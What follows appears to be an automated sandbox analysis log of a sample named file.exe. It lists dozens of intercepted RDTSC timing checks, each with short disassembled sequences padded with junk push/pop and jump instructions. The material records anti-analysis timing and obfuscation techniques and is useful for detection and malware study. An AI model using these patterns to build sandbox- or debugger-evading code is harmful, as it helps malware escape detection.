Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E42B second address: B9E42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E42F second address: B9E455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8AA8B7BB90h 0x00000011 pop edx 0x00000012 pushad 0x00000013 jng 00007F8AA8B7BB8Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E622 second address: B9E626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E626 second address: B9E62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA660 second address: BAA668 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAAA5 second address: BAAAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F8AA8B7BB8Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAC32 second address: BAAC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F8AA8C154C6h 0x00000009 jg 00007F8AA8C154C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAADD4 second address: BAADDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF04 second address: BAAF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF1C second address: BAAF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF21 second address: BAAF50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F8AA8C154C6h 0x0000000d jmp 00007F8AA8C154D6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAAF50 second address: BAAF76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8AA8B7BBA4h 0x0000000c jmp 00007F8AA8B7BB98h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB0DC second address: BAB0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAB232 second address: BAB236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1AF second address: BAA1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1B3 second address: BAA1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAA1B9 second address: BAA1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8AA8C154D4h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jo 00007F8AA8C154E0h 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB216B second address: BB2176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1AD9 second address: BB1ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1ADD second address: BB1AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AA8B7BB8Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C83 second address: BB1C90 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C90 second address: BB1CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jmp 00007F8AA8B7BB8Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1CA8 second address: BB1CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1CAC second address: BB1CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1DFE second address: BB1E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8AA8C154CCh 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F8AA8C154C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1E1F second address: BB1E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1E23 second address: BB1E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCB41 second address: BBCB4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCB4D second address: BBCB52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCCCA second address: BBCCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB90h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AA8B7BB94h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBCCF9 second address: BBCD07 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF448 second address: BBF45B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16F4 second address: BD16F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16F8 second address: BD16FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16FC second address: BD1709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1709 second address: BD1721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1721 second address: BD1732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5100 second address: BD5111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8AA8B7BBCBh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5111 second address: BD511B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AA8C154C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD511B second address: BD512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F8AA8B7BB86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDB703 second address: BDB708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA502 second address: BDA520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F8AA8B7BB94h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA520 second address: BDA525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA525 second address: BDA52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA52B second address: BDA531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA531 second address: BDA53A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA6AD second address: BDA6B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA6B1 second address: BDA6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8AA8B7BB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F8AA8B7BB8Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA82A second address: BDA837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8AA8C154C6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA837 second address: BDA85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F8AA8B7BB99h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA85F second address: BDA86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8AA8C154C6h 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA86F second address: BDA88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AA8B7BB93h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA88B second address: BDA88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDA9DA second address: BDA9FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8AA8B7BB9Ch 0x00000008 jmp 00007F8AA8B7BB96h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDAB48 second address: BDAB61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2DB6 second address: BE2DD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8AA8B7BB95h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF15F1 second address: BF15F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF14C0 second address: BF14C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE394 second address: BFE39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE509 second address: BFE50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE50F second address: BFE51D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C018D7 second address: C018F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Bh 0x00000007 push edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F8AA8B7BBB1h 0x00000013 js 00007F8AA8B7BB92h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C018F8 second address: C018FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19F70 second address: C19FB2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8AA8B7BB98h 0x0000000f jmp 00007F8AA8B7BB94h 0x00000014 popad 0x00000015 push ebx 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19FB2 second address: C19FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A3D0 second address: C1A3E0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8AA8B7BB8Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A3E0 second address: C1A3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A6A9 second address: C1A6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C208FE second address: C20903 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20903 second address: C20909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C204D1 second address: C204F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D3h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F8AA8C154C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C204F3 second address: C204F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0BB8 second address: 50E0BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0BD5 second address: 50E0C39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax+00000860h] 0x0000000f jmp 00007F8AA8B7BB8Eh 0x00000014 test eax, eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8AA8B7BB8Eh 0x0000001d adc cx, 8B68h 0x00000022 jmp 00007F8AA8B7BB8Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8AA8B7BB96h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100377 second address: 51003AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F8AA8C154D1h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8AA8C154D8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003AD second address: 51003B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003B3 second address: 51003C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003C4 second address: 51003C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003C8 second address: 510042C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F8AA8C154CDh 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007F8AA8C154CEh 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov di, F250h 0x00000021 pushfd 0x00000022 jmp 00007F8AA8C154D9h 0x00000027 or si, 42D6h 0x0000002c jmp 00007F8AA8C154D1h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510042C second address: 5100432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100432 second address: 5100436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100459 second address: 5100462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, CCBEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100462 second address: 5100471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100471 second address: 5100475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06AA second address: 50F06FB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8AA8C154D4h 0x00000008 add ax, A858h 0x0000000d jmp 00007F8AA8C154CBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov edi, 0D36737Ah 0x0000001d mov ch, bl 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8AA8C154D9h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06FB second address: 50F077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8AA8B7BB8Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F8AA8B7BB90h 0x00000016 push eax 0x00000017 pushad 0x00000018 mov esi, edi 0x0000001a mov edx, 39AE9D90h 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F8AA8B7BB95h 0x00000028 or si, 3816h 0x0000002d jmp 00007F8AA8B7BB91h 0x00000032 popfd 0x00000033 push ecx 0x00000034 mov di, 5552h 0x00000038 pop ebx 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push edx 0x0000003f pop esi 0x00000040 mov di, B702h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F077C second address: 50F07C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8C154CBh 0x0000000f xchg eax, esi 0x00000010 jmp 00007F8AA8C154D6h 0x00000015 lea eax, dword ptr [ebp-04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07C4 second address: 50F07C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07C8 second address: 50F07CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07CE second address: 50F07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07DD second address: 50F07F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8C154D1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07F9 second address: 50F07FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07FF second address: 50F0803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
